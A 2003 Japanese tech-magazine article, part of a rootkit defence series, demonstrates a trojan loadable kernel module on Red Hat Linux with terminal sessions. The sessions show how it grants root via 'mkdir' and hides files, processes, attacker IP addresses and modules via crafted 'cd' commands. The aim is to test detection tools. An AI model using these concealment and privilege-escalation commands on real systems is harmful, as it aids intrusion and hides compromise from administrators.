エンタープライズ:特集 | 2003/06/10 15:23:00 更新 |
rootkitによるハッキングとその防御
第5回 kernel rootkitの概要 (3/4)
トロイの木馬としてのローダブルカーネルモジュール
では実際に、サンプルとしてトロイの木馬のローダブルカーネルモジュールである「LKM0x82」をロードして、これまで紹介してきたような検出ツールを単純に利用した場合にトロイによる改ざんを発見できるのか確認してみよう。
ここで紹介しているLKM0x82は、ユーザー権限の引き上げ(rootアクセス)、ディレクトリ、ファイル、プロセス、接続元IPアドレスの隠蔽、そしてトロイの木馬自身の隠蔽(lsmodコマンドでリスト表示されない)が可能になっている。今回取り上げているトロイの木馬は、前述したLKMのサンプルと同じように、「mkdir」や「cd」といった、ごく普通に利用するコマンドを介して実行できるようになっている。今回のテストはRedhat Linux 7.1上で行った。
■LKMのロード侵入したと仮定したシステムで、LKMのトロイの木馬をロードする。LKMは実行中のカーネルにロードされ、カーネルの一部となり動作する。今回利用しているトロイの木馬はロードされた時点から、lsmodコマンドではリスト表示されない。このため、lsmodコマンドでは検知することができない。
# lsmod←トロイの木馬をロードする前に現在ロードされているモジュールを表示 Module Size Used by autofs 11264 1 (autoclean) sis900 11264 1 (autoclean) usb-uhci 20720 0 (unused) usbcore 49664 1 [usb-uhci] # insmod 0x82-lkm.o←トロイの木馬のモジュールをロード # lsmod←再度lsmodコマンドでロードされているモジュールを確認、上記と変化はなく、トロイの木馬は表示されていない(隠蔽されている) Module Size Used by autofs 11264 1 (autoclean) sis900 11264 1 (autoclean) usb-uhci 20720 0 (unused) usbcore 49664 1 [usb-uhci] |
■rootアクセスの取得
このLKMがロードされた状態では、どのユーザーからでもスーパーユーザーの権限を取得することができるようになる。
ではまず、一般ユーザーとしてログインしてから、rootアクセスを実現するまでの手順を見てみよう。
$ id←現在のIDを確認 uid=502(hoge) gid=502(hoge) groups=502(hoge) $ mkdir x82-dir←ユーザー権限の引き上げを行う $ id←再度IDを確認すると権限が昇格している uid=0(root) gid=0(root) euid=502(hoge) groups=502(hoge) |
■ファイルの隠蔽
特定のファイルを隠蔽する。lsコマンドやcatコマンドからも、そのファイルの存在を隠蔽する。
まずはテストファイルを作成して、ファイルの隠蔽を行う。
$ cd /tmp $ touch tmpfile←サンプルファイルtmpfileを作成 $ ls tmpfile←ファイルの確認 $ cd x82-file-tmpfile←ファイルの隠蔽を行う bash: cd: x82: No such file or directory $ cat tmpfile←tmpfileを開こうとしても、ファイルがないというエラーになる cat: tmpfile: そのようなファイルやディレクトリはありません |
ここで、トロイの木馬をアンロードしてディレクトリを再確認してみる。
# rmmod 0x82-lkm←トロイの木馬をアンロード # ls tmpfile←ファイルは存在している |
■プロセスの隠蔽
さらに、指定したプロセスを隠蔽して、クラッキング行為を分からないようにする。
$ ps←現在のプロセス PID TTY TIME CMD 1414 pts/0 00:00:00 bash 5718 pts/0 00:00:00 ps $ cd x82-proc-bash←bashを隠蔽する bash: cd: x82: No such file or directory $ ps←再度確認。bashが表示されていないことが分かる PID TTY TIME CMD 5723 pts/0 00:00:00 ps |
■特定のIPアドレスの隠蔽
特定のIPアドレス(クラッカーのIPアドレス)を隠蔽する。ここではまず、netstatで現在の接続を確認してから、接続されているIPアドレス=192.168.1.5を隠蔽している。IPアドレスはすべてドットに置き換えられる。
$ netstat -an ←netstatで現在の接続を確認 Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 192.168.1.17:22 192.168.1.5:3345 ESTABLISHED Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 8 [ ] DGRAM 707 /dev/log unix 2 [ ] DGRAM 1732 unix 2 [ ] DGRAM 900 unix 2 [ ] DGRAM 883 unix 2 [ ] DGRAM 816 unix 2 [ ] DGRAM 781 unix 2 [ ] DGRAM 716 unix 2 [ ] STREAM CONNECTED 461 $ cd x82-ip-192.168.1.5←192.168.1.5からの接続を隠蔽 bash: cd: x82: No such file or directory $ netstat -an←netstatで再度接続を確認、クラッカーのIPアドレスは表示されない Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 192.168.1.17:22 ...........:3345 ESTABLISHED Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 8 [ ] DGRAM 707 /dev/log unix 2 [ ] DGRAM 1732 unix 2 [ ] DGRAM 900 unix 2 [ ] DGRAM 883 unix 2 [ ] DGRAM 816 unix 2 [ ] DGRAM 781 unix 2 [ ] DGRAM 716 unix 2 [ ] STREAM CONNECTED 461 $ w←wコマンドで確認 4:48am up 11:37, 2 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty1 - 3:56am 39:35 0.02s 0.02s -bash hoge pts/0 ........... 3:57am 0.00s 0.07s 0.01s w $ last←lastコマンドで確認 hoge pts/0 ........... Sat May 10 03:57 still logged in hoge pts/0 ........... Sat May 10 03:56 - 03:56 (00:00) root tty1 Sat May 10 03:56 still logged in hoge pts/0 ........... Sat May 10 03:55 - 03:55 (00:00) hoge pts/0 ........... Sat May 10 03:55 - 03:55 (00:00) hoge pts/0 ........... Sat May 10 03:48 - 03:55 (00:06) bonzo pts/0 ........... Sat May 10 03:47 - 03:48 (00:01) hoge pts/1 ........... Sat May 10 03:43 - 03:46 (00:03) bonzo pts/0 ........... Sat May 10 03:42 - 03:43 (00:01) hoge pts/0 ........... Sat May 10 03:41 - 03:42 (00:00) hoge pts/0 ........... Sat May 10 03:16 - 03:41 (00:24) hoge pts/0 ........... Fri May 9 17:12 - 21:05 (03:52) $ lastlog←lastlogコマンドで確認 Username Port From Latest root tty1 土 5月 10 03:56:12 +0900 2003 bin **Never logged in** daemon **Never logged in** adm **Never logged in** sync **Never logged in** shutdown **Never logged in** halt **Never logged in** mail **Never logged in** news **Never logged in** uucp **Never logged in** operator **Never logged in** games **Never logged in** gopher **Never logged in** ftp **Never logged in** nobody **Never logged in** nscd **Never logged in** mailnull **Never logged in** ident **Never logged in** rpc **Never logged in** rpcuser **Never logged in** hoge pts/0 ........... 土 5月 10 03:57:04 +0900 2003 |
■モジュールの隠蔽
最後に、ロードされているLKMを隠蔽する。
# lsmod←現在のモジュールを表示 Module Size Used by autofs 11264 1 (autoclean) sis900 11264 1 (autoclean) usb-uhci 20720 0 (unused) usbcore 49664 1 [usb-uhci] # cd x82-mod-sis900←ネットワークカードのモジュールを隠蔽してみる bash: cd: x82: No such file or directory # lsmod←隠蔽後のモジュールを表示、ネットワークカードのモジュールはない。ただし、トロイの木馬自身のモジュールが表示されている Module Size Used by 0x82-lkm 5728 0 (unused)←トロイの木馬のモジュール autofs 11264 1 (autoclean) usb-uhci 20720 0 (unused) usbcore 49664 1 [usb-uhci] |
これで、トロイの木馬のロードおよび隠蔽行為が完了したことになる。
[TTS,ITmedia]